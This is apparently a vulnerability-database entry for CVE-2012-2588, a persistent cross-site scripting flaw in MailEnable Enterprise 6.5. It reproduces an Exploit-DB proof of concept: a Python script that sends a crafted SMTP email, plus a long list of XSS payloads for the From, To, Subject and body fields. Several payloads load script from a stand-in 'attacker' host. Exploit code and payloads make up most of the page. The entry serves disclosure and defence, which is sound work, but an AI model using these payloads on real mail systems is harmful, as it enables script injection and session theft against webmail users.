CVE-2012-2588

medium

Published 2014-09-19 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in MailEnable Enterprise 6.5 allow remote attackers to inject arbitrary web script or HTML via the (1) From, (2) To, or (3) Subject header or (4) body in an SMTP e-mail message.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-20351 webapps windows verified python · 3 KB

loneferret · 2012-08-08

mailenable enterprise 6.5 - Persistent Cross-Site Scripting

python exploit Source: Exploit-DB

#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: MailEnable Enterprise
Version: 6.5
Vendor Site: http://www.mailenable.com
Software Download: http://www.mailenable.com/download.asp

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9


Injection Point: From
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Injection Point: To
Injection Payload(s):
1: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
2: </TITLE><SCRIPT>alert("XSS");</SCRIPT>

Injection Point: Subject
Injection Payload(s):
1: <SCRIPT>alert('XSS')</SCRIPT>
2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
4: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
5: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
6: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
7: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>
8: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
9: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
10: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
11: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
12: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
13: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
14: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
15: <<SCRIPT>alert("XSS");//<</SCRIPT>
16: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''


#!/usr/bin/python
import smtplib, urllib2

payload = """<SCRIPT SRC=http://attacker/xss.js></SCRIPT>"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS" + payload + "\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

Application impact

Vendor	Product	Versions	Fixed
mailenable	mailenable	`6.5`

References

CWEs

CWE-79

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